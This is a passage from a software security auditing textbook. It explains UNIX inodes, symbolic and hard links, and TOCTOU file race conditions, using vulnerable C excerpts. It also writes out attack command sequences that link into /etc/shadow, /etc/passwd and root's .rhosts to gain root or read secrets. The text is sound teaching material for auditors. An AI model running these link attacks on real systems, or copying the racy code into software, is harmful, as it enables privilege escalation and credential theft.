retargeting would involve little to no modification. For every process, the UNIX kernel keeps a list of its open files, known as the file descriptor table. This table contains pointers to data structures (discussed in more detail in Chapter 10(? [????.])) in the kernel that encapsulate these system resources. A process generally opens a normal, disk-backed file by calling open() and passing a pathname to open. The kernel resolves the pathname into a specific file on the disk and then loads the necessary file data structures into memory, reading some information from disk. The file is added to the file descriptor table, and the position, or index, of the new entry in the file descriptor table is handed back to the process. This index is the file descriptor, which serves as a unique numeric token the process can use to refer to the file in future system calls. Figure 9-3 shows a file descriptor table for a simple daemon. File descriptors 0, 1, and 2, which correspond to standard input, standard output, and standard error, respectively, are backed by the device driver for the /dev/null file, which simply discards anything it receives. File descriptor 3 refers to a configuration file the program opened, named /etc/config. File descriptor 4 is a TCP network connection to the 1.2.3.4 machine's Web server. Figure 9-3. Simplified view of a file descriptor table The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 532 File descriptors are typically closed when a process exits or calls close() on a file descriptor. A process can mark certain file descriptors as close-on-exec, which means they are automatically closed if the process executes another program. Descriptors that aren't marked close-on-exec persist when the new program runs, which has some security-related consequences addressed in Chapter 10(? [????.]). File descriptors are duplicated automatically when a process uses a fork(), and a process can explicitly duplicate them with a dup2() or fcntl() system call. Inodes The details of how file attributes are stored are up to the file system code, but UNIX has a data structure it expects the file system to be able to fill out from its backing data store. For each file, UNIX expects an information node (inode) that the file system can present. In the more straightforward, classic UNIX file systems, inodes are actual data structures existing in physical blocks on the disk. In modern file systems, they aren't quite as straightforward, but the kernel still uses the concept of an inode to track all information for a file, regardless of how that information is ultimately stored. So what's in an inode? Inodes have an inode number, which is unique in the file system. Every file system mounted on a UNIX machine has a unique device number. Therefore, every file on a UNIX system can be uniquely identified by the combination of its device number and its inode number. Inodes contain a file type field that can indicate the file is an ordinary file, a character device, a block device, a UNIX domain socket, a named pipe, or a symbolic link. Inodes also contain the owner ID, group ID, and file permission bits for the file as well as the file size in bytes; access, modification, and inode timestamps; and the number of links to the file. The term "inode" can be confusing, because it refers to two different things: an inode data structure stored on a disk and an inode data structure the kernel keeps in memory. The inode data structure on the disk contains the aforementioned file The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 533 attributes as well as pointers to data blocks for the file on the disk. The inode data structure in kernel memory contains all the disk inode information as well as additional attributes and data and pointers to associated kernel functions for working with the file. When the kernel opens a file, it creates an inode data structure and asks the underlying file system driver to fill it out. The file system code might read in an inode from the disk and fill out the kernel's inode data structure with the retrieved information, or it could do something completely different. The important thing is that for the kernel, each file is manipulated, tracked, and maintained through an inode. Inodes are organized and cached so that the kernel and file system can access them quickly. The kernel primarily deals with files using inodes rather than filenames. When a process makes a system call that has a pathname argument, the kernel resolves the pathname into an inode, and then performs the requested operation on the inode. This explanation is a bit oversimplified, but it's enough for the purposes of this discussion. Anyway, when a file is opened and stored in the file descriptor table, what's placed there is a pointer to a chain of data structures that eventually leads to the inode data structure associated with the file. Note Chapter 10(? [????.]) explains the data structures involved in associating the file descriptor table with an inode data structure. These constructs are important for understanding how files and file descriptors are shared among processes, but you can set them aside for now. Directories A directory's contents are simply the list of files the directory contains. Each item in the list is called a directory entry, and each entry contains two things: a name and an inode number. You might have noticed that the filename isn't stored in the file inode, so it's not kept on the file system as a file attribute. This is because filenames are only instructions that tell the kernel how to walk through directory entries to retrieve an inode number for a file. For example, specifying the filename /tmp/testing/test.txt tells the kernel to start with the root directory inode, open it, and read the directory entry with the name tmp. This information gives the kernel an inode number that corresponds to the tmp directory. The kernel opens that inode and reads the entry with the name testing. This information gives the kernel an inode number for the testing directory. The kernel then opens this inode and reads the directory entry with the name test.txt. The inode number the kernel gets is the inode of the file, which is all that the kernel needs for operating on the file. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 534 Figure 9-4 shows a simple directory hierarchy. Each box represents an inode. The directory inodes have a list of directory entries below them, and each ordinary file inode contains its file contents below its attributes. The figure shows the following simple directory hierarchy: fred.txt jim/ bob.txt Figure 9-4. Directories at play [View full size image] The leftmost inode is a directory containing the fred.txt file and the jim directory. You don't know this directory's name because you have to see its parent directory to learn that. It has an inode number of 1000. The jim directory has an inode of 700, and you can see that it has only one file, bob.txt. If a process has a current directory of the directory in inode 1000, and you call open("jim/bob.txt", O_RDWR), the kernel translates the pathname by reading the directory entries. First, the directory at inode 1000 is opened, and the directory entry for jim is read. The kernel then opens the jim directory at inode 700 and reads the directory entry for bob.txt, which is 900. The kernel then opens bob.txt at inode 900, loads it into memory, and associates it with an entry in the file descriptor table. 7.5.7 Links The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 535 UNIX provides two mechanisms for users to link fileshard links and soft links. Hard links allow users to create a single file with multiple names that can be located in different directories. Symbolic links allow users to create a special file that points to a file or directory in a different location. Attackers have used both mechanisms to subvert file system interaction code, so you examine them in detail in the following sections. Symbolic Links Symbolic links, also known as symlinks or soft links, allow users to create a file or directory that points to another file or directory. For example, an administrator can make a symbolic link called /home that points to the /mnt/disks/disk3a/ directory. Users could then work with files in their home directories in /home/, and everything would be redirected behind the scenes to the disk3a directory. Similarly, a user could make a symbolic link named computers in his home directory that points to the system file /etc/hosts. If the user opens computers for reading, he is actually opening the /etc/hosts file, but it would appear as though the file is in the user's home directory. Symbolic links, created with the symlink() system call, are actually special small files placed in the file system. Their inodes are marked as a type symbolic link, and their actual file contents are a file path. When the kernel is resolving a pathname, if it encounters a symbolic link file, it reads in the file path in the symbolic link, follows the symlink's file path until it's complete, and then resumes its original path traversal. The file path in the symlink can be an arbitrary pathname, as long as it's valid enough to get the kernel to a destination. Figure 9-5 shows what soft links look like at the directory entry level. In this figure, you have two directories. The name of the top directory isn't visible in the diagram, but assume it's thatdir. Say you're in the bottom directory, inode 1100, and you open the test.txt file. It has the inode 1300, and you can see it's a symbolic link inode. The kernel automatically opens the symbolic link file at inode 1300 and reads in the file path ../thatdir/fred.txt. The kernel opens ../ and goes back to inode 200. It then opens thatdir and enters inode 1000 (the top directory). It looks up fred.txt and goes to inode 500, which is the text file. Figure 9-5. Symbolic link diagram [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 536 Symlink Syscalls Because symbolic links are actually files on the file system, system calls can react to their presence in two ways. Some system calls follow symbolic links automatically, and others operate on the special symbolic link file. The following calls have symlink-aware semantics:  If unlink() is provided a file that's a symbolic link, it deletes the symbolic link, not the target.  If lstat() is provided a file that's a symbolic link, it returns the information about the symbolic link, not about its target.  If lchown() is provided a file that's a symbolic link, it changes the user and group of the symbolic link file, not the target.  readlink() is used to read the contents of the symbolic link file specified in its argument.  If rename() has a from argument that's a symbolic link, the symbolic link file is renamed, not its target. If rename() has a to argument that's a symbolic link, the symbolic link file is overwritten, not its target. Symbolic Link Attacks The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 537 Symbolic links can be used to coerce privileged programs into opening sensitive files. For example, consider a privileged program that reads an optional configuration file from a user's home directory. It has the following code: void start_processing(char *username) { char *homedir; char tmpbuf[PATH_MAX]; int f; homedir=get_users_homedir(username); if (homedir) { snprintf(tmpbuf, sizeof(tmpbuf), "%s/.optconfig", homedir); if ((f=open(tmpbuf, O_RDONLY))>=0) { parse_opt_file(tmpbuf); close(f); } free(homedir); } ... This code looks in a user's home directory to see whether that user has a .optconfig file. If the file is present, the program opens that file and reads in optional configuration entries. You might think this behavior is safe as long as the file-parsing capabilities of parse_opt_file() are safe, but this is where link attacks can come into play. If attackers issue a command like the following: $ ln -s /etc/shadow ~/.optconfig They would create a symbolic link to the shadow password file in their home directory named .optconfig. The privileged program could then be tricked into opening and parsing the shadow password file, which could lead to a security vulnerability if it exposes secret hash information. Some older UNIX variants had a symbolic link problem with their core-dumping functionality. In UNIX, if a program crashes, the kernel can write the contents of that program's memory to a core file on the file system. This file is useful for debugging program crashes. In HPUX, Digital Unix, and probably a few other older systems, the kernel follows symbolic links when creating this core file. A normal user could, therefore, create a symbolic link to an important file, run a setuid root program, and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 538 crash it somehow, and then the kernel would write a memory dump over the important file. The attack would look something like this: $ export SOMEVAR=" + + " $ ln -s ~root/.rhosts core $ ./runandcrashsuid.sh $ rsh 127.0.0.1 -l root /bin/sh -i # The environment variable SOMEVAR contains the string + + on its own line, which would end up in the memory dump. The memory dump would replace root's .rhosts file, which specifies which hosts and users are allowed to log in as root on the machine without authenticating. The remote shell daemon interprets the + + line as indicating that any user from any machine is allowed to log in to the host as root. Users would then be allowed to start a shell on the machine as root. Creation and Symlinks The open() system call has an interesting nuance when creating files that end in symbolic links. Say you have this empty directory: /home/jim/test Then you add a symbolic link to this directory: $ ln -s /tmp/blahblah /home/jim/test/newfile This command creates a symbolic link at /home/jim/test/newfile that points to /tmp/blahblah. For now, assume the /tmp/blahblah file doesn't exist on the file system. Now try to create a file with open(), using the following call: open("/home/jim/test/newfile", O_RDWR|O_CREAT, 0666); You're telling open() that it should open a file for reading and writing, creating it if necessary from the location /home/jim/test/newfile. That location is a symbolic link pointing to /tmp/blahblah. The open() function actually creates a new file in /tmp/blahblah! This behavior has interesting consequences from a security perspective. Code that has file creation semantics when it opens a file can be tricked into creating files The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 539 anywhere on the file system if you can get a symbolic link in the right place. To prevent this behavior, application developers can specify the O_EXCL flag along with the O_CREAT flag, which indicates that the open() call must create a unique file (not return an already existing file) and prevents open() from dereferencing symbolic links in the last component. Another flag to open(), O_NOFOLLOW, also makes sure that open() doesn't follow a symbolic link if it's the last component of the specified filename, but it can be used when the program allows opening an existing file as long as it isn't a symbolic link. Note The O_NOFOLLOW flag isn't a portable solution that developers can use; it's a FreeBSD extension that's now supported by Linux, too (as of version 2.1.126). When you're auditing an application that relies on this flag to provide security, remember that some target platforms might ignore it. Accidental Creation In some situations, the mere creation of a file can be an undesired behavior, even if it's not malleable by unprivileged users. If an application uses a fopen() call with a writeable mode, it uses open() with an O_CREAT flag, and the kernel creates the requested file. Keep this in mind when you see custom-created protections for file attacks; developers might inadvertently use an open() that's capable of creating a file as part of the initial security check. Either situation could create a file in the file system that hampers the system's functionality, such as /etc/nologin. The presence of the /etc/nologin file prohibits any non-root users from logging in to the system. Similarly, if an empty /etc/hosts.allow file is created, all TCP-wrapped services deny incoming connections. Attacking Symlink Syscalls It's essential to understand that although the unlink(), lstat(), lchown(), readlink(), and rename() functions operate on a symbolic link file instead of following it to its target file, these functions do follow symbolic links for every path component except the last one. To understand this concept, imagine you have the following files in your current directory: drwx------ 2 jm jm 96 Dec 31 09:06 ./ drwx------ 3 jm jm 72 Dec 31 09:05 ../ -rw------ 1 jm jm 0 Dec 31 09:06 testfile lrwxrwxrwx 1 jm jm 8 Dec 31 09:06 testlink -> testfile The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 540 If you use unlink("testlink"), it should end up deleting the symbolic link file testlink instead of the target, testfile. As you can see in the following code, that's exactly what happened: drwx------ 2 jm jm 72 Dec 31 09:09 ./ drwx------ 3 jm jm 72 Dec 31 09:05 ../ -rw------ 1 jm jm 0 Dec 31 09:06 testfile This behavior is what you'd expect from the five system calls listed previously. Now take a look at how they do follow symbolic links. Assume you restore the directory to the way it was and also add one more symbolic link: drwx------- 2 jm jm 128 Dec 31 09:14 ./ drwx------ 3 jm jm 72 Dec 31 09:05 ../ lrwxrwxrwx 1 jm jm 1 Dec 31 09:12 testdirlink -> ./ -rw------- 1 jm jm 0 Dec 31 09:06 testfile lrwxrwxrwx 1 jm jm 8 Dec 31 09:14 testlink -> testfile If you use unlink("testdirlink/testlink"), you end up with the following: drwx------ 2 jm jm 104 Dec 31 09:16 ./ drwx------ 3 jm jm 72 Dec 31 09:05 ../ lrwxrwxrwx 1 jm jm 1 Dec 31 09:12 testdirlink -> ./ -rw------ 1 jm jm 0 Dec 31 09:06 testfile What happens is that unlink() follows the symbolic link testdirlink and then deletes the symbolic link testlink. The symlink-aware system calls still follow symbolic links; however, they don't follow the last component if it's a symbolic link. Attackers can still play games with these system calls, but they must use symbolic links in the paths of file arguments they provide. Hard Links Hard links allow users to create multiple filenames on a file system that all refer to the same underlying file. For example, on one particular OpenBSD machine, the /usr/bin/chfn, /usr/bin/chpass, and /usr/bin/chsh files refer to the same program file, located on the disk at inode 24576. This chpass/chfn/chsh program is written so The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 541 that it looks at what name it runs as and changes its behavior accordingly. This way, the same binary works as expected regardless of whether the the user ran it using the chpass command, the chfn command, or the chsh command. A hard link is created when you add a new directory entry that points to an already existing file by using the link() system call. Basically, what you're doing is creating multiple directory entries that all point to the same underlying inode. Every time you add a new link to an existing inode, that inode's link count goes up. Using the previous example, the link count of inode 24576, the chpass/chfn/chsh program file, is three because three directory entries reference it. Figure 9-6 shows what a hard link looks like in actual directory files. You have two directories on the left, one with an inode of 1000 and one with an inode of 1100. The top directory has a file named fred.txt that points to inode 500. The bottom directory has a file named test.txt that also points to inode 500. You could say that fred.txt is a hard link to test.txt, or vice versa, as they both reference the same underlying file. Figure 9-6. Hard links The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 542 Inode 500 has a link count attribute of two, meaning two directory entries refer to the file. Every time a new hard link is created, the link count is incremented. If a user deletes fred.txt or test.txt, the link count is decremented by one. The inode isn't released until all relevant names are removed, reducing the link count to zero, and all processes have closed any open file descriptors referencing inode 500. Hard links appear to be separate files, with separate pathnames, but they refer to the same underlying inode. So if a file has multiple hard links, and the permissions or ownership IDs change for one of them, all the other hard links reflect those changes. Hard links don't work across file systems because a directory entry can't point to an inode on an different file system; this limitation makes hard links less flexible on UNIX systems that have several mounted partitions. Another limitation is that normal users are allowed to create hard links only to files, not to directories, because creating infinite loops in the directory tree is quite simple, so you don't want normal users to have this capability. Therefore, creating directory hard links is a privilege reserved for the superuser. You can create infinite loops with symbolic links, too, but the kernel has code to detect whether this has occurred and return an appropriate error. Attacks From a security perspective, the critical feature of hard links is that you can create links to various files without needing any particular privileges, which could lead to possible security problems. For example, say you want to write exploits for certain setuid binaries on a system, but you're concerned that the administrator might delete them. You don't have the permissions necessary to copy them, but you could create hard links to those binaries in a directory you have control over. If the administrator deletes the binaries later, your hard links still refer to them, and you might still have time to construct an attack. This technique might also prove useful when you want to prevent a program from deleting a file. You could create a hard link to that file that would still be present after the program attempts to delete the original file. You don't need any special permissions or ownership on that file to create the link, either. Another thing to note about hard links: If you create a hard link to a file you don't own in a sticky directory, you can't delete the hard link because the sticky semantics prevent you from unlinking a file that isn't yours. This might prove useful when mounting sophisticated file-based attacks against a privileged application. Sensitive Files Hard links can be quite useful in launching attacks against privileged processes. They are more limited in utility than soft links, but they can come in handy sometimes. They are most useful when privileged processes open existing files and modify their The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 543 content or change their ownership or permission. Take a look at this simple code excerpt: fd = open("/home/jm/.conf", O_RDWR); if (fd<0) die("open"); write(fd, userbuf, userlen); Assume this code runs in a setuid root application with effective root privileges. It opens the /home/jm/.conf file, if it exists, and writes some data to it. Assume the .conf file is in your home directory and you have total control over it. Assume you can control some data that gets written in the call to write(), and your home directory is in the same file system as the /etc file system. Exploiting this code with a hard link would be quite straightforward. You'd simply do something like this: $ cd /home/jm $ ln /etc/passwd .conf $ runprog $ su evil # First, you create a hard link so that the .conf file is linked to the /etc/passwd authentication file. Then you run the vulnerable program, which opens the file for writing as root. It writes out some information you control to the password file, which adds a new root account with no password. You then use su to switch to that account and claim root access. In general, this kind of attack can be useful if the privileged application reads from a file without first relinquishing its privileges. If the application opens a file that's really a hard link to a critical system file, such as /etc/shadow, you can probably elicit an error message that might expose some secret information. Remember that permission and ownership changes affect the underlying inode of a hard link, so you should also check for code that might alter a privileged file's permissions. Take a look at the following code: fd = open("/home/jm/.conf", O_RDWR); if (fd<0) die("open"); fchmod(fd, 644); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 544 exit(1); In this code, the /home/jm/.conf file is opened, and then permissions are set to 644. One possible attack is linking the pathname being opened with some other file that has tight permissions, such as /etc/shadow. If you create a hard link to /etc/shadow, and the code changes its permissions from 0600 to 0644, every user on the system could read the authentication database. Circumventing Symbolic Link Prevention In general, soft link attacks are more flexible and powerful. However, because special API calls deal with symbolic links, and symbolic link attacks have been widely published, developers are far more likely to prevent symbolic link attacks than hard link attacks. In general, developers can use the lstat() function to analyze a file and determine whether it's a symbolic link. Note that lstat() can't distinguish between a hard link to a regular file and a regular file because a hard link is a legitimate directory entry. The only clue applications can use to test for hard links is to check the link count resulting from a stat(), lstat(), or fstat() function. Here's an example of code that's vulnerable to a hard link attack (if it were being run in a privileged context): if (lstat(fname, &stb1) != 0) die("file not there"); if (!S_ISREG(stbl.st_mode)) die("it's not a regular file - maybe a symlink"); fd = open(fname, O_RDONLY); This code uses the lstat() function to make sure the provided file isn't a symbolic link. If it's a symbolic link, it doesn't pass the S_ISREG test (explained in "The stat() Family of Functions(? [????.])" later in this chapter). A hard link works just fine, however, causing this program to read the contents of whatever fname is hard-linked to. (Note that this code is also vulnerable to race conditions, discussed in the next section.) 7.5.8 Race Conditions UNIX applications have to be very careful when interacting with the file system, because of the danger of race conditions. Race conditions, in general, are situations in which two different parties simultaneously try to operate on the same resource with The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 545 deleterious consequences. In the context of security flaws, attackers try to manipulate the resource out from underneath the victim. For UNIX file system code, these issues usually occur when you have a process that gets preempted or enters a blocking system call at an inopportune moment. This inopportune moment is typically somewhere in the middle of a sensitive multiple-step operation involving file and directory manipulation. If another process wins the race and gets scheduled at the right time in the middle of this "window of inopportunity," it can often subvert a vulnerable nonatomic sequence of file operations and wrest privileges from the application. Listing 9-3 shows an example. Listing 9-3. Race Condition in access() and open() res = access("/tmp/userfile", R_OK); if (res!=0) die("access"); /* ok, we can read from /tmp/userfile */ fd = open("/tmp/userfile", O_RDONLY); ... This code represents a setuid root program opening the /tmp/userfile file, which can be controlled by users. It uses the access() function to make sure users running the program have permission to read from the /tmp/userfile file. access() is specially designed for setuid programs; it performs the privilege check by using the process's real user ID rather than the effective user ID. For a setuid root program, this is typically the user that ran the executable. If users don't have permission to read /tmp/userfile, the program exits. This call to access() protects the program from following a symbolic link at /tmp/userfile and opening a sensitive file or from opening a hard link to a sensitive file. The problem is that attackers can alter /tmp/userfile after the access() check but before opening the file. Figure 9-7 outlines this attack. Say attackers create an innocuous regular file named /tmp/userfile. They let the preceding code do its access check and come back with a clean result. Then the process gets swapped out, and a process controlled by attackers runs. This evil process can unlink /tmp/userfile and replace it with a symbolic link to /etc/shadow. When the privileged program resumes, it does open("/tmp/userfile", O_RDONLY), which causes it to follow the symbolic link to /etc/shadow. The privileged program then reads in the shadow password file, which likely leads to an exposure of sensitive information later on. Figure 9-7. Program flow for Listing 9-3 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 546 Auditing Tip The access() function usually indicates a race condition because the file it checks can often be altered before it's actually used. The stat() function has a similar problem. TOCTOU The concept of exploiting the discrepancy between a security check on a resource and the use of a resource is known as a time of check to time of use (TOCTOU or TOCTTOU) issue. This concept doesn't apply to just file manipulation. Any time that the state of a resource can change in between when an access check is done and when an action is performed on it creates an opportunity for TOCTOU attacks. If you refer to Figure 9-7, you can see the time of check and time of use labeled for clarity. It might seem unrealistic that a program could get swapped out at the exact moment for attackers to take advantage of this "window of inopportunity." Remember that attackers are determined and resourceful, and it's usually safe to bet they can find some way to exploit even an improbable vulnerability. In the scenario depicted in Figure 9-7, attackers could take action in the background to try to slow down the system, such as a network-intensive flood of data or heavy use of the file system. They could also send job control signals to the setuid root program that is performing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 547 the potentially dangerous file operations to stop and start it constantly in a tight loop. Depending on the file system, they might be able to watch for access times on files that are being updated or even watch the progress of the setuid program through system-specific interfaces. There's plenty of system-specific functionality that can be leveraged with some creativity. For example, Linux 2.4 and later has a flag that can be used with the fcntl() function, F_NOTIFY, that causes a signal to be delivered to your program when certain actions occur in a directory. Several advanced race condition exploits for Linux make use of this flag. The stat() Family of Functions Many of the TOCTOU examples you encounter feature the use of stat() or one of its variations. These functions are designed to give the caller extensive information about a file. The three primary functions that return this information are stat(), lstat(), and fstat(). The stat() function has the following prototype: int stat(const char *pathname, struct stat *buf); The pathname parameter specifies the file to be checked and the buf parameter points to a structure that's filled in with file information. lstat() works similarly, except, as noted in "Symbolic Links(? [????.])," if pathname is a symbolic link, information is returned about the link rather than the link's target. Finally, there is fstat(), which takes a file descriptor rather than a pathname. Of these functions, fstat() is the most resilient function in terms of race conditions, as it's operating on an previously opened file. The information returned in the stat structure includes most of the statistics about a file that might be useful to developers. Information returned includes, but is not limited to, the owner of the file, the owning group of the file, the number of hard links to the file, and the type of the file. By examining the type of the file, it is possible to use these functions to determine whether a file is really a regular file, a link file, a device file, and so on. The following macros are defined for testing the file type:  S_ISREG tests if the file is a regular file.  S_ISDIR tests if the file is a directory.  S_ISCHR tests if the file is a character device.  S_ISBLK tests if the file is a block device.  S_ISFIFO tests if the file is a named pipe.  S_ISLNK tests if the file is a symbolic link.  S_ISSOCK tests if the file is a socket. As you have probably guessed, a standard method for protecting against link-based attacks is to use lstat() on a requested filename and either explicitly check if it's a link, or check if it's a regular file and fail if it is not. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 548 Say a privileged program wants to work with a file but wants to make sure it isn't going to be tricked into following a symbolic link. Listing 9-4 shows some code from the Kerberos 4 library that's used by a kerberized login daemon. Listing 9-4. Race Condition from Kerberos 4 in lstat() and open() errno = 0; if (lstat(file, &statb) < 0) goto out; if (!(statb.st_mode & S_IFREG) #ifdef notdef || statb.st_mode & 077 #endif ) goto out; if ((fd = open(file, O_RDWR|O_SYNC, 0)) < 0) goto out; This code uses lstat() to check whether the file is a symbolic link. If it isn't, the program knows it's safe to open the file. However, what happens if attackers replace the file with a symbolic link after the lstat() call but before the open() call? It causes a TOCTOU situation. The potential attack is shown in Figure 9-8. In this vulnerability, attackers are able to overwrite arbitrary files as root when the kerberized login daemon creates new tickets. (Note that this code is also vulnerable to a hard link attack because it doesn't check the link count lstat() returns.) Figure 9-8. Program flow for Listing 9-4 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 549 Note that it's possible to have a race condition if you do things in the opposite order, with the check coming after the use, as shown in Listing 9-5. Listing 9-5. Race Condition in open() and lstat() fd = open(fname, O_RDONLY); if (fd==-1) perror("open"); if (lstat(fname, &stb1) != 0) die("file not there"); if (!S_ISREG(stbl.st_mode)) die("its a symlink"); ... It might seem as though this program isn't susceptible to a race condition because it opens the file first, and then checks whether it's valid. However, it suffers from a similar problem. Attackers can create the malicious symbolic link the program opens, and then delete or rename that symbolic link and create a normal file with the same name. If they get the timing right, lstat() operates on the normal file, and the security check is passed. The kernel doesn't care if the file that fd indexes has been The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 550 deleted or renamed. As long as the file descriptor is kept open, the file and its corresponding inode in the file system stay available. This process is shown in Figure 9-9. Figure 9-9. Program flow for Listing 9-5 Here's another example of a race condition from an old version of the SunOS binmail program, discovered by a rather clever hacker group known as "8 Little Green Men," or 8lgm for short. Binmail runs as root and is used to deliver mail to local users on the system. This local mail delivery is performed by opening the user's mail spool file in a public sticky directory and appending the new mail to that file. The following code is used to open the mail spool file: if (!(created = lstat(path, &sb)) && (sb.st_nlink != 1 || S_ISLNK(sb.st_mode))) { err(NOTFATAL, "%s: linked file", path); return(1); } if ((mbfd = open(path, O_APPEND|O_WRONLY|O_EXLOCK, S_IRUSR|S_IWUSR)) < 0) { if ((mbfd = open(path, O_APPEND|O_CREAT|O_WRONLY|O_EXLOCK, S_IRUSR|S_IWUSR)) < 0) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 551 err(NOTFATAL, "%s: %s", path, strerror(errno)); return(1); } } This program first checks to see whether the mail spool is a symbolic link or a hard link by performing an lstat(). If the file doesn't exist or looks like a normal file, binmail attempts to open the file for appending. If the open fails, binmail attempts to open the file again, but it tells the OS to create the file if it doesn't exist. The problem is the race condition between the lstat() call and the open() call. Attackers can place an innocuous file there or delete the mail spool, wait for the lstat() to occur, and then place a symbolic link or hard link pointing to a sensitive file. The mail sent to that user is appended to the sensitive file, if it exists; if it doesn't, it's created as root and written to. Furthermore, a symbolic link pointing to a target file that isn't present can be used to have binmail create an arbitrary file as root. (This bug is documented in a bugtraq post by 8lgm, archived at http://seclists.org/bugtraq/1994/Mar/0025.html.) File Race Redux Most file system race conditions can be traced back to using system calls that work with pathnames. As discussed, every time a system call takes a pathname argument, the kernel resolves that pathname to an inode by traversing through the relevant directory entries. So if you have this code: stat("/tmp/bob", &sb); stat("/tmp/bob", &sb); The first call to stat() causes the kernel to look up the inode for the /tmp/bob pathname, open that inode, and collect the relevant information. The second time stat() is called, the same thing happens all over again. If someone changes /, /tmp, or /tmp/bob between the two stat() calls, the system could easily end up looking at two different files. Now take a look at this code: fd=open("/tmp/bob", O_RDWR); fstat(fd, &sb); fstat(fd, &sb); The call to open() resolves the /tmp/bob pathname to an inode. It then loads this inode into kernel memory, creates the required data structures to track an open file, and places a pointer to them in the process's file descriptor table. The call to fstat() simply takes the file descriptor index fd, looks in the table and pulls out the pointer, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 552 and ends up looking directly at the data structure encapsulating the inode. The second fstat() does the same thing as the first one. If someone unlinked /tmp/bob in the middle of the fstat() calls, it wouldn't matter because the file descriptor would still reference the inode on the disk that was /tmp/bob when open() was called. That inode isn't deallocated until its reference count goes away, which doesn't happen until the process uses close(fd). Renaming and moving the file doesn't change the target of fstat(), either. The permissions are established by how the file is opened and the security checks occurring at the time it's opened, so even if the file is marked with permission bits 0000, it doesn't matter to the process after it has successfully opened the file for reading. Pathnames Versus File Descriptors The basic difference between pathnames and file descriptors is in how they're used by functions. Functions that take pathnames are looking up which file to work with each time they're called. Functions that work with file descriptors are going straight to the same inode that was opened initially. Any time you see multiple system calls that use a file path, it's worth considering what would happen if the file was changed in between those calls. Remember that changing any directory component between the starting directory and the target file can potentially disrupt a process's intended file actions. In general, if you see anything besides a single filename-based system call to open a resource followed by multiple file-descriptor-based calls, there's a reasonable chance of a race condition occurring. Evading File Access Checks One basic pattern to look for is a security check function that uses a filename followed by a usage function that uses a filename. The basic vulnerability pattern is the file being checked using something like stat(), lstat(), or access(), and, providing that the check succeeds using something like open(), fopen(), chmod(), chgrp(), chown(), unlink(), rename(), link(), or symlink(). In general, the safe form of a security check involves checks and usage on a file descriptor. It's guaranteed that a file descriptor, after the kernel creates it, refers to the same file system object for the duration of its lifetime. Therefore, functions that work with a file descriptor can often be used in a safe fashion when their filename counterparts can't. For example, fstat(), fchmod(), and fchown() can be used to query or modify a file that has already been opened safely, but the corresponding stat(), chmod(), and chown() functions might be susceptible to race conditions if the file is tampered with right after it has been opened. Permission Races The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 553 Sometimes an application will temporarily expose a file to potential modification for a short window of time by creating it with insufficient permissions. If attackers can open that file during this window, they get an open file handle to the file that locks in the insufficient permissions, and lets them retain access to the file after the permissions have been corrected, as shown in this example: FILE *fp; int fd; if (!(fp=fopen(myfile, "w+"))) die("fopen"); /* we'll use fchmod() to prevent a race condition */ fd=fileno(fp); /* lets modify the permissions */ if (fchmod(fd, 0600)==-1) die("fchmod"); This code excerpt opens a file for reading and writing by using the fopen() function. If the file doesn't already exist, it's created by the call to fopen(), and the umask value of the process determines its initial file permissions. This will be discussed in more detail in "The Stdio File Interface(? [????.])," but the important detail that need to know for now is that fopen() calls open() with a permission argument of octal 0666. Therefore, if the process's umask doesn't take away world write permissions, any user on the file system is able to write to the file. The program immediately changes its file to mode 0600, but it's too latea race condition has already occurred. If another process can use open() on the file requesting read and write access, immediately after it's created but before its permission bits are changed, that process has a file descriptor open to the file with read and write permissions. Ownership Races If a file is created with the effective privileges of a nonprivileged user, and the file owner is later changed to that of a privileged user, a potential race condition exists, as shown in this example: drop_privs(); if ((fd=open(myfile, O_RDWR | O_CREAT | O_EXCL, 0600))<0) die("open"); regain_privs(); /* take ownership of the file */ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 554 if (fchown(fd, geteuid(), getegid())==-1) die("fchown"); This code is similar to the permission race code you examined previously. A privileged application temporarily drops its privileges to create a file safely. After the file is created, it wants to set file ownership to root. To do this, the program regains its root privileges and then changes the file's ownership with the fchown() system call. The vulnerability is that if unprivileged users manage to open the file between the call to open() and the call to fchown(), they get a file descriptor with a file access mask permitting read and write access to the file. Directory Races Programs that traverse through directories in the file system have to be careful about trusting the integrity of the directory hierarchy. If a program descends into user-controllable directories, users can often move directories around in devious ways from under the program and cause it to operate on sensitive files inadvertently. Caveats If a program attempts to recurse through directories, it needs to account for infinitely recursive symbolic links. The kernel notices infinite symbolic links as it resolves a pathname, and it returns an error in the case of too much recursion. If a program attempts to traverse a path itself, it might need to replicate the logic the kernel uses to avoid ending up in an infinite loop. Another possible point of confusion that you need to be aware of is that symbolically linked directories are not reflected in pathnames returned by system calls that retrieve a current path. If you're using a command shell and issue cd to change to a directory that's a symbolic link, typing pwd reflects that symbolic link. However, from the kernel's perspective, you're in the actual target directory, and any system call to return your current path doesn't include the symbolic link. If a symbolic link named /bob points to the /tmp/bobshouse directory, and you change your current directory to /bob, the getcwd() function reports your current directory to you as /tmp/bobshouse, not /bob. Directory Symlinks for Exploiting unlink() It's important to consider the effects of malicious users manipulating directories that are one or two levels higher than a process's working space. Wojciech Purczynski discovered a vulnerability in the Solaris implementation of the UNIX job-scheduling at command. The -r argument to at tells the program to delete a particular job ID. According to Wojciech, at had roughly the following logic: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 555 logic for 